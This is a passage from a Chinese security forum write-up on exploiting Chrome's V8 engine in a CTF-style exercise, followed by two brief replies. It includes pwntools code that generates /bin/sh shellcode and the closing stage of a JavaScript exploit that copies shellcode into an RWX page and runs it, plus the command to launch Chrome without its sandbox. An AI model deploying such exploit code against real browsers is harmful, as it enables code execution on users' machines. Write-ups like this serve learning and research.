from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
a=shellcode[0:4]
b=int.from_bytes(a, "little")
for i in range(0,len(shellcode),4):
    a=shellcode[i:i+4]
    print(hex(int.from_bytes(a,"little")),end=",")
*/
 
console.log("[+] Copying binsh shellcode to RWX page");
 
copy_shellcode(rwx_page_addr, shellcode);
 
console.log("[+] Popping sh");
 
f();

shellcode的生成,我使用的是pwntools的。

1
2
3
4
5
6
7
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
 
for i in range(0,len(shellcode),4):
    a=shellcode[i:i+4]
    print(hex(int.from_bytes(a,"little")),end=",")

运行成功的截图:

9. pwn Chrome

./chrome --no-sandbox ./index.html
index.html中内容如下:

1
2
3
4
5
<html>
  <head>
    <script src="exp.js"></script>
  </head>
</html>

[注意] 欢迎加入看雪团队!base上海,招聘CTF安全工程师,将兴趣和工作融合在一起!看雪20年安全圈的口碑,助你快速成长!

最后于 2021-5-11 21:47 被nicaicaiwo编辑 ,原因: 完善
收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 1540
活跃值: 活跃值 (844)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
nicaicaiwo 活跃值 2 2021-6-8 09:59
2
0

特殊原因,国内编译会比较慢,因此我够买了一个vps进行编译。

最后于 2021-7-1 08:48 被nicaicaiwo编辑 ,原因:
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wwwfo 活跃值 2021-7-3 10:50
3
0

请问我标注的对吗?

游客
登录 | 注册 方可回帖
返回